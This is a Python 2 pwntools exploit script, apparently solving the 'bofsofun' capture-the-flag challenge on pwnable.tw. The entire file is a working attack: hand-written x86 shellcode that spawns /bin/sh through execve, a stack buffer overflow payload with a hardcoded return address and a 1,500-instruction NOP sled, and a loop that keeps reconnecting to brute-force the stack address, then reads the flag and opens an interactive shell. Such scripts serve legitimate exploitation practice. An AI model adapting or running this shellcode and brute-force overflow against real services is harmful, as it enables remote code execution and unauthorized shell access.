bofsofun.py

import time
from pwn import *

sh = '''
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f

    /* call execve('esp', 0, 0) */
    mov ebx, esp
    xor ecx, ecx
    push 0x74
    pop eax
    sub eax, 0x69
    cdq
    int 0x80
'''
shcode = asm(sh)
l = len(shcode)
ret = p32(0xfff54678)
# 92
code = shcode + '1'*7 + shcode + '1'*7 + shcode + '1'*(92-64-25) + ret
code += asm(shellcraft.nop()) * 1500
code += shcode
t = 1
while True:
    try:
        r = remote('pwning.pwnable.tw', 48879)
        r.sendline(code)
        try:
            print r.recvline(),
            print r.recvline(),
            print r.recvline(),
        except EOFError:
            print 'failed'
            print 'failed'
            print 'failed'
            r.close()
            continue
        print t
        t += 1
        r.sendline('cat home/bofsofun/flag')
        try:
            print repr(r.recvline())
            r.interactive()
        except EOFError:
            print 'failed'
        r.close()
    except:
        time.sleep(1)